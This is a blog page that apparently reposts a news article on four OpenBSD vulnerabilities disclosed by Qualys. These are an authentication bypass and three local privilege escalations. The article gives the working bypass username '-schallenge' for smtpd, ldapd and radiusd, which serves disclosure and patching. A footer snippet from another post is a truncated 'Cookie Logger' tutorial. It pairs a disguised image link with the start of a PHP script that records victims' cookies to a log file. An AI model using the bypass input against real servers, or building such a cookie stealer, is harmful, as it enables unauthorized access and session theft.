Skip to main content

OpenBSD - Servere Auth Bypass and Priv-Escalation , Vulnerabilities Disclosed

openbsd-vulnerabilities-exploit

OpenBSD, an open-source operating system built with security in mind, has been found vulnerable to four new high-severity security vulnerabilities, one of which is an old-school type authentication bypass vulnerability in BSD Auth framework.

The other three vulnerabilities are privilege escalation issues that could allow local users or malicious software to gain privileges of an auth group, root, as well as of other users, respectively.

The vulnerabilities were discovered and reported by Qualys Research Labs earlier this week, in response to which OpenBSD developers released security patches for OpenBSD 6.5 and OpenBSD 6.6 just yesterday—that's in less than 40 hours.

Here's a brief explanation of all four security vulnerabilities in OpenBSD—a free and open-source BSD-based Unix-like operating system—along with their assigned CVE identifiers

OpenBSD Authentication Bypass (CVE-2019-19521)


The authentication bypass vulnerability resides in the way OpenBSD's authentication framework parses the username supplied by a user while logging in through smtpd, ldapd, radiusd, su, or sshd services.

Using this flaw, a remote attacker can successfully access vulnerable services with any password just by entering the username as "-schallenge" or "-schallenge: passwd," and it works because a hyphen (-) before username tricks OpenBSD into interpreting the value as a command-line option and not as a username.

openbsd vulnerabilities

Here, OpenBSD's authentication framework interprets "-schallenge" as "-s challenge," which forces the system into silently ignoring the challenge protocol that eventually bypasses the authentication automatically.

"If an attacker specifies a username of the form '-option', they can influence the behavior of the authentication program in unexpected ways," the advisory said.

According to the researchers, this vulnerability is practically exploitable in smtpd, ldapd, and radiusd, but not in sshd or su due to their defense-in-depth mechanisms that hangs the connection even after successful authentication bypass.

However, one can still remotely exploit the flaw against sshd to determine whether an OpenBSD system is vulnerable to CVE-2019-19521 or not.

OpenBSD Local Privilege Escalation Flaws


OpenBSD vulnerabilities

As described above, the other OpenBSD vulnerabilities are local privilege escalation issues as briefly explained below:


  • CVE-2019-19520: Due to the mishandling of environment-provided paths used in dlopen(), xlock, which comes installed by default on OpenBSD, could allow local attackers to escalate privileges to 'auth' group.
  • CVE-2019-19522: Due to incorrect operation of authorization mechanisms via "S/Key" and "YubiKey," which is a non-default configuration, a local attacker with 'auth' group permission can gain full privileges of the root user.
  • CVE-2019-19519: Due to a logical error in one of the su's primary functions, a local attacker can achieve any user's login class, often excluding root, by exploiting su's -L option.


Qualys researchers have also released proof-of-concept exploits for each vulnerability in its advisory.

Since patches for all four security vulnerabilities are now available, affected OpenBSD users recommended to install patches using syspatch mechanism.

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

100 Terrific Tools for Coders & Developers

Coding… the world runs on it these days. Want job security? Become a developer. Want fame and fortune? Learn to code! Whether you are a world-class programmer looking for a few extra tools to add to your already awesome arsenal or a wanna-be coder looking to get into the game, these coding resources comprised of many startups (meaning you probably haven’t heard of a lot of these) as well as established sites and services are sure to help you take your game to the next level (whatever that might be). Included here are tools to help you communicate better with your team, share code, test your app and track usage, add functionality and much more. Whether you are a mobile or web app developer, I’m sure you will find something new to love here. Any suggestions on great sites or services that should be added? RANDOM & COOL Tracelytics  – Full stack application tracing. Cloud APM. TaskMissile  - Makes getting client feedback fast, easy and exact. Kera  – Activat...

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary...